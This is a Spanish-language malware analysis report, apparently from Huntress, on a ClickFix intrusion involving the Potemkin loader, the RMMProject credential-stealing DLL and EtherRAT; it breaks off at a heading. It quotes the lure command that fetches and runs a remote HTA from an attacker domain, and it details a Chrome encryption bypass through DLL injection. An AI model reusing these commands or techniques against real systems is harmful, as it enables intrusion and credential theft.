Contexto
Figura 1: Diagrama que muestra la cadena de ataque
Huntress ya documentó un caso de ClickFix en febrero que involucraba movimiento lateral y la entrega del cargador malware-as-a-service Matanbuchus, junto con un implante personalizado inédito llamado AstarionRAT. En un nuevo caso de mayo de 2026, observamos otra infección de ClickFix, esta vez con una intrusión completa y manual (hands-on-keyboard) que abarcó 11 hosts en la red de la víctima.
La infección comenzó en un endpoint sin monitoreo, donde se engañó al usuario para que ejecutara un comando de ClickFix que descargaba e instalaba silenciosamente un paquete MSI. El MSI soltó el cargador Potemkin, un cargador personalizado de x64 que usa un algoritmo de generación de dominios para encontrar su C2 y carga de forma reflectiva módulos posteriores en memoria. El módulo entregado a través de Potemkin fue RMMProject, una DLL scripteable en Lua de 4.4 MB con robo de credenciales de navegador (incluido un bypass del cifrado vinculado a la app de Chrome mediante inyección de DLL embebida), un módulo de control remoto de escritorio oculto y 15 tipos de tareas distintas. Por separado, el atacante desplegó EtherRAT, una puerta trasera conocida en Node.js que resuelve su dirección C2 a partir de la blockchain de Ethereum, junto con un túnel de Cloudflare para acceso persistente.
Con esos puntos de apoyo establecidos, el operador pasó a actividad manual (hands-on-keyboard), librando una batalla continua con Windows Defender, desplegando túneles SOCKS inversos con Chisel, y propagándose lateralmente mediante WMIExec y SMBExec hasta llegar finalmente al controlador de dominio y distribuir EtherRAT en más de 11 hosts. La intrusión ya estaba muy avanzada para cuando se instaló el agente de Huntress en los endpoints afectados.
¿Por qué ClickFix sigue siendo tan efectivo?
ClickFix sigue siendo efectivo por una razón simple: explota la naturaleza humana. La gente sigue instrucciones de forma natural cuando se les presenta una indicación clara y con apariencia de autoridad ("presiona Win+R, pega esto, presiona Enter"). La ingeniería social no necesita ser sofisticada; solo necesita parecer un paso legítimo de solución de problemas, y la mayoría de las veces, eso basta.
Este caso también es un recordatorio de por qué importa la cobertura de endpoints. La infección inicial se originó en un endpoint sin monitoreo, lo que le dio al atacante un punto de apoyo sin obstáculos. Si ese endpoint hubiera estado monitoreado, la actividad maliciosa podría haberse detectado temprano, antes de que comenzara la actividad manual, antes de que ocurriera el movimiento lateral y antes de que EtherRAT tuviera la oportunidad de establecerse más profundamente en el entorno. Los vacíos de visibilidad no solo significan telemetría faltante; significan darles a los atacantes el espacio que necesitan para causar daño real.
¿Qué pasó?
El usuario visitó el sitio web comprometido y se le indicó que ejecutara el siguiente comando en la ventana de diálogo Ejecutar de Windows:
cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"\1
El comando abusa de pcalua.exe como un LOLBIN para hacer de proxy a la ejecución de mshta.exe, descargando y ejecutando un payload HTA remoto para evadir detecciones basadas en procesos.
¿Qué contiene hte.hta?
Figura 2: Contenido del archivo hte.hta
El payload HTA oculta su ventana, usa WScript.Shell para ejecutar curl descargando silenciosamente un MSI desde un dominio controlado por el atacante (sonra.eutialyson[.]com/inst24.msi), y luego lo ejecuta mediante msiexec /qn para una instalación silenciosa.
Cargador Potemkin
Antes de recorrer la intrusión manual (hands-on-keyboard) y el movimiento lateral, veamos el binario cargador soltado en el endpoint. Lo rastreamos como Potemkin, un cargador personalizado de x64 para Windows. Potemkin se entregó como parte de un instalador MSI (inst24.msi) creado con WiX Toolset. El instalador soltó el cargador en C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe y registró persistencia al momento de la instalación mediante un componente AutostartRegistry del MSI, que creó HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe.
Potemkin tiene seis componentes funcionalmente distintos. Cinco de ellos etiquetan cada línea de registro que emiten con un prefijo fijo ([Agent], [DNS], [Chan], [Sync], [DLL]); el sexto es el núcleo de cifrado, al que recurren todos los componentes anteriores para descifrar cadenas:
Componente 1: [Agent] - bucle principal de trabajo
Once cadenas de registro distintas viven dentro de la función principal:
[Agent] start, seed= - Se activa una vez, al iniciar el hilo de trabajo. El valor después del = es la semilla XorShift32 codificada de forma fija (151678 en esta compilación).
[Agent] DNS lookup seed= - Se activa al inicio de cada ciclo, justo antes de que el agente empiece a probar dominios candidatos. El valor de la semilla es el mismo en cada ciclo, por eso sabemos que dos infecciones generan las mismas pruebas de dominio en el mismo orden.
[Agent] DNS: domain= - Se activa cuando el agente encuentra un servidor C2 activo. El valor es el dominio que respondió con “ok” a la prueba de /api/client_hello.
[Agent] DNS: no domain found, sleeping 1 min - Se activa cuando ninguno de los 10.000 dominios candidatos responde. El agente entonces se duerme durante 60 segundos y vuelve a intentar con toda la lista. La presencia de esta línea significa que el C2 fue completamente inalcanzable en todas las pruebas.
[Agent] uuid= - Se activa después de que el agente establece con éxito su identidad con el C2. El valor es el UUID que se usará durante el resto de la sesión, ya sea asignado de nuevo (primera ejecución) o leído de %LOCALAPPDATA%\hyper-v.ver y verificado de nuevo.
[Agent] init status= - Se activa después del intercambio posterior a la identidad (POST/api/client/init). El valor es el código de estado HTTP devuelto.
[Agent] poll got_task= - Se activa después de cada consulta al C2 (cada ~5 minutos en entornos reales). El valor es 1 cuando el C2 devuelve un cuerpo que indica que una tarea está lista, 0 en caso contrario.
[Agent] LoadAndRunDLL= - Se activa después de que Potemkin intenta obtener y ejecutar una DLL subsiguiente, pero solo cuando el got_task anterior fue 1. El valor es 1 si la DLL se obtuvo, decodificó, mapeó y ejecutó con éxito; 0 si algún paso falló.
[Agent] DLL returned (updatedll), reloading... - Se activa cuando la DLL cargada indica que quiere ser reemplazada. El agente omite su período de espera y obtiene de inmediato la siguiente DLL.
[Agent] exception: - Se activa cuando se detecta una excepción interna de C++ de un tipo conocido. El valor después de los dos puntos es el mensaje de la excepción.
[Agent] unknown exception - Se activa cuando se detecta una excepción pero el tipo no se reconoce; no se captura ningún mensaje.
La semilla 151678 del DGA (Algoritmo de generación de dominios) es el único valor de semilla que usa Potemkin. Un DGA genera una lista de nombres de dominio de forma algorítmica en lugar de codificarlos de forma fija: el operador solo necesita registrar uno de los dominios generados antes del despliegue, y el malware lo encontrará probando cada candidato en secuencia. Como la semilla es fija, no hay aleatorización por equipo infectado ni reasignación basada en el tiempo. Dos infecciones independientes que ejecuten la misma compilación probarán exactamente la misma secuencia de dominios, en el mismo orden exacto, en cada iteración. Esto hace que el espacio de candidatos sea precalculable y finito (10.000 dominios).
La rama de recarga en caliente (signal == “updatedll”) omite la espera del ciclo interno. El operador puede enviar actualizaciones de módulos en vivo que se completan dentro de un solo intercambio de red, sin esperar al siguiente ciclo de consulta. El intervalo de espera nominal es de 60 segundos, pero, como muestra el registro de depuración recuperado (hablaremos de esto más adelante en el blog), la cadencia efectiva de consulta en entornos reales es más cercana a 5m27s una vez que se considera la latencia del C2. Volveremos a cómo el valor de signal sale de la DLL cargada cuando cubramos el subsistema [DLL].
Componente 2: [DNS]
Potemkin no tiene una dirección de C2 fija. En cambio, cada vez que necesita comunicarse con su operador, genera una lista de nombres de dominio candidatos a partir de un diccionario incorporado y prueba cada uno hasta que alguno responde con la respuesta esperada. El generador es determinista: dada la misma semilla inicial (151678), produce los mismos dominios en el mismo orden en cada ejecución. Este patrón se conoce como Domain Generation Algorithm, o DGA. La ventaja para el operador es que no tiene que fijar de antemano un dominio que los defensores podrían bloquear; solo necesita registrar uno de los dominios candidatos poco antes de implementar el malware. La ventaja para nosotros, los defensores, es la contraria: debido a que el algoritmo es determinista y recuperable, se puede precalcular y bloquear cada posible dominio candidato. Consulta la sección de indicadores de compromiso para ver una lista completa de los dominios generados para este payload.
El payload genera 10.000 dominios. El agente los recorre todos en orden, enviando una pequeña prueba a cada uno, y se detiene en el primero que devuelve una respuesta válida. Si ninguno de los 10.000 responde, duerme durante un minuto y vuelve a intentar con toda la lista desde el principio.
Potemkin genera tres mensajes de registro:
[DNS][<n>] trying <domain>:443 - a punto de probar el candidato número n (indexado desde cero)
[DNS] FOUND domain[<n>]: <domain> - se obtuvo una respuesta válida del candidato n; este es el C2 de esta sesión
[DNS] exhausted all 10000 domains, none responded - ningún candidato respondió; duerme un minuto y reintenta
Para cada dominio candidato, Potemkin envía una solicitud HTTP GET a una ruta de URL fija (/api/client_hello) en el puerto 443, y luego revisa el cuerpo de la respuesta en busca de una palabra clave particular (“ok”). Tanto la ruta de la URL como la palabra clave están cifradas dentro del binario. La verificación en vivo es: enviar GET /api/client_hello al C2 en el puerto 443, y si el cuerpo de la respuesta contiene la subcadena “ok” (entre comillas), considerar este candidato como el C2 activo y detener la búsqueda. El código HTTP de Potemkin está escrito usando cpp-httplib, una biblioteca HTTP de C++ de código abierto, así que cada solicitud al C2 lleva User-Agent: cpp-httplib/0.12.1. En la infección capturada, el cuerpo de la respuesta fue {"ok":true}, que contiene la secuencia de bytes "ok": y satisface la verificación.
Figura 3: Captura de Wireshark de una prueba DGA de Potemkin al C2 anus-staylard[.]xyz
El generador del DGA
Potemkin genera dominios eligiendo tres palabras de un diccionario integrado de 1.000 palabras, separándolas opcionalmente con guiones, y agregando .xyz. Ejemplos de salidas de la infección capturada: pestrear-lamp[.]xyz, uglyshop-mare[.]xyz, rule-bead-dust[.]xyz, anus-staylard[.]xyz, fair-bath-fond[.]xyz.
La "aleatoriedad" que elige qué palabras usar y dónde colocar los guiones proviene de un pequeño algoritmo llamado XorShift32, una rutina determinista simple que convierte un número de 32 bits en una larga secuencia de números que parecen aleatorios. Cada vez que Potemkin genera un dominio candidato, llama a XorShift32 cinco veces: tres de los resultados eligen índices de palabras dentro del diccionario de 1.000 palabras, y los otros dos deciden si se insertan guiones entre palabras adyacentes.
La barra de ensalada de palabras
El diccionario del que extrae el generador contiene 1.000 palabras en inglés, distribuidas por longitud de la siguiente manera:
54 palabras de cuatro letras
920 palabras de cinco letras
25 palabras de seis letras
1 palabra de siete letras
Cada palabra se almacena cifrada en .data y se descifra en el primer uso. El diccionario está dominado por palabras de cinco letras porque la mayoría de los sustantivos y verbos cortos comunes en inglés tienen esa longitud; la única palabra de siete letras y el pequeño conjunto de palabras de cuatro letras son valores atípicos que producen dominios notablemente más cortos o más largos que la salida típica. La implementación en Python del algoritmo DGA:
Figura 4: XorShift32 insertado en línea dentro del bucle por palabra
Componente 3: cifrador de bytes personalizado
Potemkin protege dos categorías de cadenas con un cifrador de bytes personalizado: las constantes necesarias para la comunicación C2, y todo el diccionario DGA. Todo lo demás en el binario -el formato HTTP, las claves JSON, las cadenas de registro y la ruta de persistencia- está en texto plano.
Las cadenas descifradas:
/api/client_hello - ruta de la sonda de actividad DGA
: - separador en el encabezado de la solicitud dirección:puerto
ok - token de verificación de la respuesta de la sonda
.xyz - dominio de nivel superior del DGA
test_agent - valor codificado de forma fija de loader_id
1.000 palabras del diccionario - lista de palabras del DGA (54 de cuatro letras, 920 de cinco letras, 25 de seis letras, 1 de siete letras)
El cifrador es una construcción personalizada de cuatro rondas a nivel de bytes. El binario contiene ocho funciones decodificadoras casi idénticas, una por cada longitud de texto plano que el payload necesitaba cifrar (2, 3, 4, 5, 6, 7, 11 y 18 caracteres). Cada cadena cifrada se almacena junto con su material de clave en una sola estructura en .data. La siguiente figura muestra esto para la cadena test_agent.
Cada bloque de ronda tiene 12 bytes y contiene tres valores:
Un byte de clave inicial - el valor inicial que se usa para combinar con los datos (resaltado en la figura: 0x05 para la ronda 4, 0x04 para la ronda 3)
Un key_op - un número (1-4) que indica al cifrador cómo mutar la clave después de cada byte (incremento, inversión de bits, mezcla de bits o rotación)
Un data_op - un número (1-4) que indica al cifrador cómo transformar cada byte de datos usando la clave actual (resta, XOR, rotación o mezcla de bits)
Al descifrar, el cifrador recorre los bloques de ronda y, en cada ronda, recorre cada byte cifrado, aplicando data_op para combinar el byte con la clave y luego key_op para evolucionar la clave antes de pasar al siguiente byte. Debido a que la clave muta después de cada byte, cada byte obtiene un valor de clave efectivo diferente, aunque solo se almacena un byte de clave inicial por ronda.
No todas las cadenas usan las cuatro rondas. En la estructura de test_agent, las rondas 1 y 2 son todas ceros, lo que significa que esas rondas no hacen nada. Solo las rondas 3 y 4 están activas. Otras cadenas en el binario llenan las cuatro ranuras de ronda con valores distintos de cero.
Distintas cadenas tienen diferentes valores de data_op, key_op y byte de clave inicial incorporados en sus estructuras en tiempo de compilación, por lo que cada cadena tiene su propia receta de descifrado única, a pesar de que todas pasan por el mismo código de cifrado.
Figura 5: Vista anotada en IDA de la estructura del cifrador de test_agent, que muestra los datos cifrados, los bloques de ronda con los campos key_byte/key_op/data_op, y las rondas omitidas
Algoritmo de descifrado:
La elección de qué cadenas cifrar es selectiva e inconsistente. El autor del malware cifró la ruta de sondeo (/api/client_hello) pero dejó los endpoints de asignación de tareas (/tasks/get_worker, /tasks/collect) y el endpoint de descarga de la DLL (/avast_update) en texto plano. Cifraron test_agent pero dejaron loader_id (el nombre del campo que lo contiene) en texto plano.
Componente 4: [Chan]
El componente 4 produce el artefacto que podemos encontrar en un endpoint víctima: %LOCALAPPDATA%\hyper-v.ver, un archivo que contiene una sola cadena UUID, un identificador de C2 para ese endpoint comprometido. Primero, la máquina infectada envía POST /api/client/new con {"os_info":"Windows"} al C2. El servidor responde con un UUID, por ejemplo {"ok":"70cdb427-ac79-48f5-bd2d-38f26b08e5ad"}. El agente extrae ese UUID y lo escribe textualmente en %LOCALAPPDATA%\hyper-v.ver.
El agente lee el UUID desde hyper-v.ver y envía POST /api/client/verify con él. Si el C2 responde con “ok”, el UUID se reutiliza. Si la verificación falla, el agente recurre a la ruta de registro y obtiene uno nuevo.
El componente 4 contiene las siguientes cadenas de registro:
[Chan] POST /api/client/new - a punto de registrarse
[Chan] new status= - respuesta de registro recibida
[Chan] new: no response, err= - la solicitud de registro falló
[Chan] new: token field empty in response - el C2 respondió pero no incluyó un UUID
[Chan] verify status= - respuesta de verificación recibida
[Chan] verify no response, err= - la solicitud de verificación falló
[Chan] verify token= - UUID verificado con éxito, se reutiliza
[Chan] exception: / [Chan] unknown exception - manejadores de errores
Una vez establecida la identidad, el agente envía una solicitud POST a /api/client/init:
Componente 5: [Sync] - sondeo de tareas
El componente [Sync] se ejecuta una vez por cada ciclo de sondeo. Es una transacción de dos etapas: obtener una asignación de tarea del C2 y luego enviar un acuse de recibo. El payload del acuse de recibo siempre es el mismo: {"status":"true","uuid":"...","type":"1015","task_result":"b2s="}, sin importar qué tarea se haya recibido. El campo task_result es simplemente “ok” codificado en base64 (b2s=).
Once cadenas distintas se inicializan como variables globales dentro del subsistema [Sync] antes de la primera solicitud. A diferencia de las cadenas operativas que usa [DNS] (que están cifradas en .data y se descifran bajo demanda), las 11 cadenas residen en texto plano en .rdata y se referencian directamente por sus direcciones. Cubren cada clave JSON, cada valor JSON, cada endpoint y el tipo de contenido usado en ambas etapas de la transacción de sondeo:
Figura 6: Cadenas codificadas en el componente [Sync]
Consulta del worker
La primera solicitud verifica si el C2 tiene una tarea lista:
uuid es la identidad persistente del cliente (que se encuentra en hyper-v.ver), y loader_id es la cadena test_agent, recuperada al descifrar la estructura cifrada que vimos en la sección de descifrado. Cada solicitud /tasks/get_worker de esta compilación lleva el mismo literal "loader_id":"test_agent".
Verificación de la respuesta
El cuerpo de la respuesta se revisa en busca de dos subcadenas: “ok” y “1015”. Ambas deben estar presentes para que el agente considere que hay una tarea lista. Aquí es donde el valor 1015 cobra sentido: es la forma en que el C2 señala que “hay una tarea de DLL lista para este cliente”.
Acuse de recibo de la tarea
Si ambas subcadenas coinciden, el agente envía de inmediato el acuse de recibo:
Componente 6: [DLL] - obtención de módulos
El subsistema [DLL] obtiene una DLL adicional del C2 y la carga por completo en memoria: analiza los encabezados PE, mapea las secciones, corrige las direcciones y resuelve las importaciones sin llamar nunca a LoadLibrary. Luego llama a una exportación llamada TLSDataStart.
Figura 7: Mapeo de secciones PE, corrección de reubicaciones, resolución de importaciones e invocación de DllMain sin usar LoadLibrary
Algunas cadenas de registro nos dan información aquí:
[DLL] GET /avast_update - a punto de obtener la DLL
[DLL] status= - código de respuesta HTTP de la solicitud
[DLL] decoded size= - tamaño de la DLL después de decodificarla en base64
[DLL] base= - dirección de memoria donde se mapeó la DLL
[DLL] entry_point= - si se encontró o no la exportación esperada en la DLL
[DLL] hbot= - valor del contador de heartbeat en el momento de la ejecución
[DLL] entry returned, unloading module - la función de exportación de la DLL retornó; a punto de desmapear
[DLL] no response, err= - la solicitud de obtención falló por completo
La solicitud HTTP:
TLSDataStart: se envía con un valor vacío. La cadena TLSDataStart es el nombre de exportación que el cargador reflectante busca dentro de la DLL devuelta. Cualquier DLL enviada a través de /avast_update debe exportar una función llamada TLSDataStart. Si no se encuentra la exportación, el cargador desmapea el módulo y devuelve un error. El bucle del agente registra [Agent] LoadAndRunDLL=0 y continúa a la siguiente iteración.
Cuando la función de exportación retorna, el cargador desmapea el módulo de inmediato. La región de memoria mapeada se libera. El módulo cargado no tuvo oportunidad de persistir código o estado entre iteraciones. Luego el agente verifica si uno de los búferes de argumentos contiene ahora la cadena literal updatedll. Si es así, el agente registra:
[Agent] DLL returned (updatedll), reloading…
Luego vuelve a entrar de inmediato en la ruta de obtención de la DLL sin esperar. Esto le indica al C2 que envíe una DLL actualizada, que se obtiene y se carga en el mismo ciclo de sondeo. Si el búfer no contiene updatedll, el agente espera 60 segundos antes de volver a sondear.
La mayoría de los cargadores modulares incluyen un despachador de comandos: una tabla de opcodes numéricos o de cadenas donde el operador puede elegir entre descargar y ejecutar, shell, listado de archivos, captura de pantalla, matar proceso, dormir, etc. Potemkin no tiene nada de eso, y todo el vocabulario de comandos es prácticamente un solo código numérico, 1015.
No existe un canal de reporte de errores de vuelta al operador. Si la obtención de la DLL falla, el agente registra la falla localmente en dll_debug.log dentro de %TEMP%, pero nunca se lo informa al C2:
RMMProject
Recuperamos la DLL que el C2 entregó a través de /avast_update. El archivo es una DLL x64 de 4.4 MB (avast_update.bin, SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce) con la exportación esperada TLSDataStart.
Cómo recibe su configuración RMMProject
Cuando Potemkin llama a la exportación TLSDataStart, pasa dos argumentos de tipo string. El primero es la información de conexión del C2. El segundo es una lista de tareas en JSON, un objeto de configuración del C2 que le indica a RMMProject qué hacer (qué navegadores atacar, qué datos recolectar y adónde enviarlos). RMMProject analiza este JSON, ejecuta cada tarea y envía los resultados de vuelta al C2 mediante POST antes de devolver el control a Potemkin.
DGA integrado: mismo algoritmo, mismo diccionario
RMMProject también tiene su propia copia integrada del DGA. El binario contiene una función de resolución de dominios que registra [DNS] FOUND domain[N] cuando tiene éxito y [DNS] exhausted all N domains, none responded cuando falla, el mismo formato de registro que el loader. El generador usa el mismo PRNG XorShift32 con las mismas constantes (<<13, >>17, <<5), la misma búsqueda de palabras con mod 1.000 a partir de un diccionario cifrado de 1.000 palabras (confirmado por exactamente 1.000 bloques de inicialización protegidos con TLS en la función de búsqueda de palabras), la misma concatenación de tres palabras con guiones opcionales, el mismo límite de búsqueda de 10.000 dominios y la misma semilla predeterminada 0xDEADBEEF. El TLD se almacena cifrado en una variable global de 4 bytes, consistente con .xyz. El diccionario es prácticamente idéntico al de Potemkin.
Arquitectura: módulos nativos con scripting en Lua
RMMProject integra un motor completo de scripting LuaJIT (identificado por la presencia de bibliotecas específicas de LuaJIT, ffi y jit, en el código de inicialización, junto con cientos de mensajes de error de la VM de Lua).
Al iniciar, RMMProject inicializa la VM de Lua y luego registra un conjunto de módulos nativos de C++ en el entorno de scripting. El C2 envía scripts de Lua como parte de la lista de tareas en JSON, y RMMProject los ejecuta. Cada script puede llamar a cualquier combinación de los módulos nativos registrados, y los resultados se recopilan y se envían de vuelta al C2 mediante POST.
Los siguientes módulos nativos están expuestos a Lua (identificados a partir de nombres de clases RTTI de C++ en el binario):
Http: cliente HTTP (GET/POST) construido sobre cpp-httplib, para exfiltrar datos u obtener payloads adicionales
Json: construcción y análisis de JSON mediante nlohmann::json
SQLiteDatabase / SQLiteStatement / SQLiteColumn: interfaz de consulta completa de SQLite 3.36.0, usada para leer las bases de datos de credenciales del navegador
WinReg: lectura y escritura del registro de Windows (HKEY_CURRENT_USER, HKEY_USERS, creación de claves, enumeración de valores, eliminación)
ASN1Decoder / ASN1Integer / ASN1OID: análisis ASN.1 para decodificar formatos de almacenamiento de certificados y claves de NSS
DirectoryStatement / RecursiveDirectoryStatement: enumeración del sistema de archivos (listado de archivos, recorrido recursivo de directorios)
Tabla completa de comandos de tareas
El despachador de tareas de RMMProject implementa una sentencia switch con 15 tipos de tareas, muchos más que el único código 1015 de Potemkin. Cada tipo de tarea es un código numérico enviado por el C2 dentro de la lista de tareas en JSON:
Robo de credenciales y cookies del navegador
La capacidad más notable en la DLL apunta a las credenciales y cookies del navegador en Chrome, Firefox y Edge. Tres códigos de tarea distintos manejan diferentes aspectos del robo de datos del navegador: 1001 para contraseñas guardadas, 1002 para cookies, 1003 para credenciales almacenadas y 1013 para datos de autocompletado. Todas comparten la misma infraestructura subyacente de acceso al navegador.
La ruta de robo de cookies (tarea 1002) se ejecuta mediante una única función orquestadora de 10 KB que procesa los tres navegadores en secuencia y registra su progreso con mensajes de depuración con el prefijo kCookies:
También existen variantes de ruta de error (kCookies: chrome ex:, kCookies: firefox ex:, kCookies: edge ex:, kCookies: exception:) que registran fallas por navegador. La salida del registro revela el pipeline de exfiltración: la función analiza las cookies de Chrome, registra el conteo, analiza las cookies de Firefox, registra ese conteo, analiza las cookies de Edge, registra ese conteo, luego informa el total, serializa todo a JSON, comprime el JSON con zlib e informa el tamaño comprimido. El blob comprimido final es el resultado de la tarea que se envía mediante POST de vuelta al C2.
Para Chrome y Edge, la DLL descifra los datos de cookies y credenciales mediante un proceso de varios pasos que maneja tanto el esquema de cifrado heredado de Chromium como el moderno. La DLL primero lee el archivo Local State del navegador, un archivo de configuración JSON que los navegadores basados en Chromium almacenan en el directorio de perfil del usuario. Dentro de este archivo, el campo encrypted_key contiene la clave de cifrado maestra del navegador, que a su vez está cifrada con DPAPI (la API de protección de datos de Windows). La DLL llama a CryptUnprotectData (importada de CRYPT32.dll) para desenvolver esta clave.
A partir de la versión 127 de Chrome, Google introdujo una nueva capa de protección llamada App-Bound Encryption (ABE) que envuelve la clave cifrada con DPAPI con una capa adicional de cifrado vinculada
a la identidad de la aplicación Chrome. Un proceso que no sea Chrome no puede simplemente llamar a la API de descifrado: la clave está vinculada a la identidad de firma de código propia de Chrome.
RMMProject evita esto con una inyección de DLL auxiliar incorporada. Una DLL auxiliar de 4.608 bytes se almacena dentro de la DLL principal en un desplazamiento fijo, codificada con XOR usando la clave 0x5A. En tiempo de ejecución, la DLL decodifica este blob y lo escribe en un archivo temporal en %TEMP%\<random>.tmp.
La DLL luego localiza el ejecutable del navegador en disco. Usa ExpandEnvironmentStringsW para resolver tanto las rutas de instalación a nivel del sistema como las de usuario, y prueba varias ubicaciones candidatas hasta que encuentra chrome.exe o msedge.exe. Luego inicia el navegador con CreateProcessW usando los indicadores CREATE_NO_WINDOW | DETACHED_PROCESS | DEBUG_ONLY_THIS_PROCESS, y el navegador se ejecuta oculto y en estado de depuración. Inmediatamente después, DebugActiveProcessStop libera el estado de depuración mientras la DLL conserva el identificador del proceso.
Con ese identificador, la DLL resuelve LoadLibraryW desde kernel32.dll mediante GetModuleHandleA y GetProcAddress, asigna memoria dentro del proceso del navegador (VirtualAllocEx), escribe en ella la ruta a la DLL temporal (WriteProcessMemory) y crea un hilo remoto (CreateRemoteThread) que llama a LoadLibraryW con esa ruta: la clásica técnica de inyección de DLL. La DLL auxiliar se carga dentro del espacio de proceso de Chrome y hereda la identidad de aplicación de Chrome. Lee la clave de cookie cifrada desde una sección de memoria compartida (creada antes mediante CreateFileMappingA), la descifra usando las API de ABE, ahora accesibles porque el código se ejecuta como Chrome, y escribe la clave descifrada de vuelta a través de una tubería con nombre. La DLL principal lee el resultado de la tubería y de inmediato termina el proceso del navegador con TerminateProcess.
La DLL auxiliar en sí (SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145) es un PE x64 mínimo. Contiene la cadena ABEPayloadArgs, el nombre de la sección de memoria compartida donde la DLL principal pasa los datos de la clave cifrada. Su tabla de importación revela el mecanismo de descifrado: importa OpenFileMappingA y MapViewOfFile de KERNEL32 para leer de la memoria compartida, CoInitializeEx y CoCreateInstance de ole32.dll para instanciar la interfaz COM IElevator de Chrome (el objeto COM a nivel de sistema que Chrome registra para las operaciones de cifrado vinculado a la aplicación), y CreateFileA / WriteFile para enviar el resultado descifrado de vuelta a través de la tubería con nombre.
Figura 8: La lógica principal de la DLL auxiliar de ABE: instancia la interfaz COM IElevator de Chrome mediante CoCreateInstance, llama a CoSetProxyBlanket para establecer la autenticación y luego abre la tubería con nombre (CreateFileA) para leer los datos cifrados y escribir de vuelta el resultado descifrado
Una vez recuperada la clave maestra, la DLL abre los archivos Cookies y Login Data del navegador, ambos bases de datos SQLite, usando el motor SQLite 3.36.0 integrado. Consulta estas bases de datos, descifra cada valor de cookie o credencial usando AES-GCM con la clave maestra recuperada, y recopila los resultados.
Para Firefox, la ruta de descifrado es completamente distinta porque Firefox usa la biblioteca criptográfica NSS (Network Security Services) de Mozilla en lugar de DPAPI. La DLL consulta la base de datos de claves de Firefox con dos sentencias SQL específicas: SELECT item1 FROM metadata WHERE id = 'password' para obtener el hash de verificación de la contraseña maestra, y SELECT a11 FROM nssPrivate para extraer las claves privadas cifradas. Luego analiza el formato de clave de NSS mediante decodificación ASN.1 y descifra las credenciales reales usando derivación de clave PBKDF2 seguida de descifrado 3DES-CBC. Tanto PBKDF2 como 3DES se implementan a través de la biblioteca Crypto++ enlazada estáticamente.
La tarea 1022 permite terminar procesos del navegador por completo, probablemente usada como paso preparatorio antes de leer las bases de datos SQLite del navegador, ya que los navegadores mantienen bloqueos exclusivos sobre sus propios archivos de base de datos mientras se ejecutan.
RTSC: control remoto de terminal y pantalla
RMMProject contiene un módulo de escritorio remoto identificado por los prefijos de registro [RTSC] y la clase RTSCServer visible en los datos RTTI del binario. El código de tarea 1006 inicia una sesión; el código de tarea 1007 la detiene.
Cuando el operador inicia una sesión RTSC, la DLL crea un escritorio oculto de Windows usando CreateDesktopW. Este escritorio oculto es invisible para el usuario, lo que significa que nada de lo que se renderiza en él aparece en la pantalla del usuario. La DLL luego lanza una instancia de Chrome o Edge en este escritorio oculto (tanto StartChrome como StartEdge son puntos de entrada visibles en el RTTI). Esto le da al operador una sesión de navegador en vivo con la que puede interactuar mientras la víctima no ve nada.
El módulo RTSC establece dos conexiones de socket separadas hacia el C2. La primera es un socket de cuadros que transmite capturas de pantalla del escritorio oculto; la DLL captura los cuadros usando funciones de GDI+ (CreateCompatibleBitmap, BitBlt para la captura de pantalla, GdipSaveImageToStream para la codificación) y los envía por ese socket. La segunda es un socket de entrada que recibe movimientos del mouse, clics, pulsaciones de teclas y operaciones de portapapeles del operador y las reproduce en el escritorio oculto. El manejador de entrada por sí solo tiene 14 KB de código, y distribuye cada tipo de evento de entrada a la llamada de API de Windows correspondiente.
El socket de entrada usa un protocolo basado en sesiones: realiza un saludo hello/session_id antes de aceptar comandos, y cada paso se registra mediante mensajes [RTSC] OpenInputSocket:. Esta es una capacidad de secuestro de sesión de navegador en un escritorio oculto, usada comúnmente para fraude bancario en tiempo real, donde el atacante necesita interactuar con una sesión de navegador autenticada.
Figura 9: Protocolo de saludo del socket de entrada de RTSC: envía el ID de sesión e informa al C2 el tamaño del búfer SISR (Screen Input Stream Receiver)
La tarea 1008 ofrece una capacidad de captura de pantalla más simple fuera del módulo RTSC: una sola captura de pantalla del escritorio real del usuario, útil para reconocimiento antes de decidir si iniciar una sesión RTSC completa.
Inyección de procesos y gestión de módulos
La tarea 1014 ejecuta un archivo o proceso en la víctima, con un parámetro que especifica ejecución de 32 o 64 bits. La tarea 1016 se inyecta en un proceso en ejecución por nombre: la configuración de la tarea proporciona una cadena name:data, y RMMProject busca el proceso objetivo, inyecta el payload y reporta el resultado. La tarea 1017 limpia después de la inyección terminando los hilos inyectados.
La tabla de importación incluye OpenProcessToken, AdjustTokenPrivileges, DuplicateTokenEx, ImpersonateLoggedOnUser y LogonUserW. Al rastrear las cadenas de llamadas se ve que estas funciones las usan las tareas de robo de cookies y credenciales (1002, 1003) y el módulo RTSC (1006), no las tareas de inyección. Su propósito es la suplantación del usuario: cuando RMMProject se ejecuta como SYSTEM o bajo una cuenta de servicio, duplica el token del usuario con sesión iniciada y lo suplanta para acceder a los directorios de perfil del navegador que pertenecen a ese usuario. El módulo RTSC usa el mismo mecanismo para lanzar explorer en el escritorio oculto bajo el contexto correcto del usuario.
La tarea 1026 descarga y carga un módulo adicional en tiempo de ejecución. La configuración de la tarea entrega un payload de tipo PE codificado en base64. RMMProject lo decodifica y luego lo mapea por completo en memoria usando su propio cargador de PE, la misma técnica de carga reflectante que Potemkin usa para RMMProject en sí. El cargador analiza los encabezados PE, asigna memoria con VirtualAlloc, mapea cada sección, aplica las reubicaciones, resuelve las importaciones mediante LoadLibraryA / GetProcAddress, registra los controladores de excepciones mediante RtlAddFunctionTable, y llama al punto de entrada DllMain del módulo. La tarea 1027 descarga los módulos cargados previamente llamando a DllMain de cada módulo con DLL_PROCESS_DETACH y liberando la memoria mapeada.
Más allá de la cabeza de playa: intrusión manual y movimiento lateral
Figura 10: Detecciones de EtherRAT en el portal de Huntress
Cinco horas después de la ejecución del cargador Potemkin, los actores de amenazas soltaron un cargador de segunda etapa. El cargador se ejecuta desde un directorio aleatorizado bajo AppData: C:\Users\username\AppData\Local\KafhCqGLhOS4\. Contiene tres archivos. node.exe es un entorno de ejecución de Node.js limpio y firmado, RlLF3rizah.ini es el JavaScript del cargador, MseKOytIWeVrP85.xml es el payload cifrado.
Persistencia
